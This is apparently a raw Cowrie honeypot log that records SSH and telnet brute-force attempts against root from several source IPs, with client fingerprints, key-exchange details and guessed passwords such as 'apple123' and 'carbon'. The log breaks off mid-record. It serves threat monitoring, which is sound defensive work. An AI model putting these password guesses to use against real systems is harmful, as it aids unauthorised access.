{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:0a:1a:bf:a4:14:1e:be:f1:cd:e3:a6:78:75:9a:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGrm9HwGtwa4Rkq7qLiaDTm7/YRnNyVcEDU7fM1D7Qexu8RxPBUO6QrCn7CaAfOg8N7rOI8CKxtyVJbVzcmAbXtgiz1Tp/o8l4+ijxMfc/pNURkWXnuN/7Mn0GolPmRgxBV+x5I5bR42BJvpL3zH7m5FoGTLB6rzxux4foul0LwDUudES1919vbUfT1SLzoOZ/egai7nw47IgNSt8yWOVLGEoxsGIZLED6rwD+3pedyiczdyl/OsRcYVK3dGu7nEwP0zDtiyYPwPi0+jCe2LCiOWP1/FcK4k8sIaI579OmFhf6bOfxqba4VAYwjN2TzqhEVfJ4wX0nKO4aA4HlW9FF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:0a:1a:bf:a4:14:1e:be:f1:cd:e3:a6:78:75:9a:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:30.998338Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:0a:1a:bf:a4:14:1e:be:f1:cd:e3:a6:78:75:9a:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGrm9HwGtwa4Rkq7qLiaDTm7/YRnNyVcEDU7fM1D7Qexu8RxPBUO6QrCn7CaAfOg8N7rOI8CKxtyVJbVzcmAbXtgiz1Tp/o8l4+ijxMfc/pNURkWXnuN/7Mn0GolPmRgxBV+x5I5bR42BJvpL3zH7m5FoGTLB6rzxux4foul0LwDUudES1919vbUfT1SLzoOZ/egai7nw47IgNSt8yWOVLGEoxsGIZLED6rwD+3pedyiczdyl/OsRcYVK3dGu7nEwP0zDtiyYPwPi0+jCe2LCiOWP1/FcK4k8sIaI579OmFhf6bOfxqba4VAYwjN2TzqhEVfJ4wX0nKO4aA4HlW9FF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:31.002475Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:65:51:fc:1d:04:b9:86:36:30:3f:d8:a2:2c:07:97","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILgMcX4rKQ52410LmyZcawH3kIABpXdKbRsRglzM6ovV","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ec:65:51:fc:1d:04:b9:86:36:30:3f:d8:a2:2c:07:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:31.133741Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:65:51:fc:1d:04:b9:86:36:30:3f:d8:a2:2c:07:97","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILgMcX4rKQ52410LmyZcawH3kIABpXdKbRsRglzM6ovV","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:31.137711Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:31.255326Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55646,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6f57389e2d7","protocol":"telnet","message":"New connection: 152.42.224.71:55646 (10.17.0.5:23) [session: f6f57389e2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:32.073309Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":35594,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc89cf4426c0","protocol":"ssh","message":"New connection: 196.189.237.92:35594 (10.17.0.5:22) [session: fc89cf4426c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:52.826550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:52.831438Z","src_ip":"196.189.237.92","session":"fc89cf4426c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:53.003312Z","src_ip":"196.189.237.92","session":"fc89cf4426c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"535353","message":"login attempt [root/535353] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:53.713845Z","src_ip":"196.189.237.92","session":"fc89cf4426c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:54.887448Z","src_ip":"196.189.237.92","session":"fc89cf4426c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39126,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc7b640364c8","protocol":"telnet","message":"New connection: 152.42.224.71:39126 (10.17.0.5:23) [session: dc7b640364c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:57.221854Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49776,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f9e0704e2de","protocol":"telnet","message":"New connection: 152.42.224.71:49776 (10.17.0.5:23) [session: 6f9e0704e2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:06.382049Z"}
{"eventid":"cowrie.session.closed","duration":44.153993129730225,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:12.060596Z","src_ip":"152.42.224.71","session":"4c2ae07a2c03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00339078903198,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:13.907980Z","src_ip":"152.42.224.71","session":"94a6065308c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.60613799095154,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:15.679356Z","src_ip":"152.42.224.71","session":"f6f57389e2d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":37504,"dst_ip":"10.17.0.5","dst_port":22,"session":"b635e584d8f6","protocol":"ssh","message":"New connection: 171.244.201.80:37504 (10.17.0.5:22) [session: b635e584d8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:38.063138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:38.066723Z","src_ip":"171.244.201.80","session":"b635e584d8f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:38.311321Z","src_ip":"171.244.201.80","session":"b635e584d8f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yeuanhmai","message":"login attempt [root/yeuanhmai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:39.325929Z","src_ip":"171.244.201.80","session":"b635e584d8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:40.574198Z","src_ip":"171.244.201.80","session":"b635e584d8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56452,"dst_ip":"10.17.0.5","dst_port":23,"session":"7734ff64de0f","protocol":"telnet","message":"New connection: 152.42.224.71:56452 (10.17.0.5:23) [session: 7734ff64de0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:43.899966Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44358,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfb2806be2da","protocol":"telnet","message":"New connection: 152.42.224.71:44358 (10.17.0.5:23) [session: bfb2806be2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:49.238326Z"}
{"eventid":"cowrie.session.closed","duration":43.422435998916626,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:49.804353Z","src_ip":"152.42.224.71","session":"6f9e0704e2de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.135123252868652,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:41:58.373332Z","src_ip":"152.42.224.71","session":"bfb2806be2da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45696,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2ec294220d6","protocol":"ssh","message":"New connection: 193.37.70.224:45696 (10.17.0.5:22) [session: d2ec294220d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:14.297591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:14.303411Z","src_ip":"193.37.70.224","session":"d2ec294220d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:14.394294Z","src_ip":"193.37.70.224","session":"d2ec294220d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carbon","message":"login attempt [root/carbon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:14.670077Z","src_ip":"193.37.70.224","session":"d2ec294220d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:15.764007Z","src_ip":"193.37.70.224","session":"d2ec294220d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":37760,"dst_ip":"10.17.0.5","dst_port":22,"session":"c05946da7617","protocol":"ssh","message":"New connection: 196.189.237.92:37760 (10.17.0.5:22) [session: c05946da7617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:17.862675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:17.867429Z","src_ip":"196.189.237.92","session":"c05946da7617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:18.038423Z","src_ip":"196.189.237.92","session":"c05946da7617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asshole2","message":"login attempt [root/asshole2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:18.750147Z","src_ip":"196.189.237.92","session":"c05946da7617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:19.924229Z","src_ip":"196.189.237.92","session":"c05946da7617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39976,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f04c6fc8c5d","protocol":"telnet","message":"New connection: 152.42.224.71:39976 (10.17.0.5:23) [session: 7f04c6fc8c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:24.404436Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33998,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddd4e56789cd","protocol":"telnet","message":"New connection: 152.42.224.71:33998 (10.17.0.5:23) [session: ddd4e56789cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:28.837953Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34000,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b6d1812330c","protocol":"telnet","message":"New connection: 152.42.224.71:34000 (10.17.0.5:23) [session: 2b6d1812330c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:30.995321Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34012,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c7d79d88658","protocol":"telnet","message":"New connection: 152.42.224.71:34012 (10.17.0.5:23) [session: 7c7d79d88658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:35.411171Z"}
{"eventid":"cowrie.session.closed","duration":52.00091314315796,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:35.900752Z","src_ip":"152.42.224.71","session":"7734ff64de0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.788819074630737,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:53.193131Z","src_ip":"152.42.224.71","session":"7f04c6fc8c5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00463581085205,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:42:57.226257Z","src_ip":"152.42.224.71","session":"dc7b640364c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.75012469291687,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:03.161199Z","src_ip":"152.42.224.71","session":"7c7d79d88658","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":54452,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d3c73cae2d3","protocol":"ssh","message":"New connection: 171.244.201.80:54452 (10.17.0.5:22) [session: 5d3c73cae2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:08.319482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:08.325887Z","src_ip":"171.244.201.80","session":"5d3c73cae2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:08.573346Z","src_ip":"171.244.201.80","session":"5d3c73cae2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apple123","message":"login attempt [root/apple123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:09.600285Z","src_ip":"171.244.201.80","session":"5d3c73cae2d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:10.852483Z","src_ip":"171.244.201.80","session":"5d3c73cae2d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":56142,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f5e670a694f","protocol":"ssh","message":"New connection: 103.149.170.125:56142 (10.17.0.5:22) [session: 5f5e670a694f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:20.187268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:20.191309Z","src_ip":"103.149.170.125","session":"5f5e670a694f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-n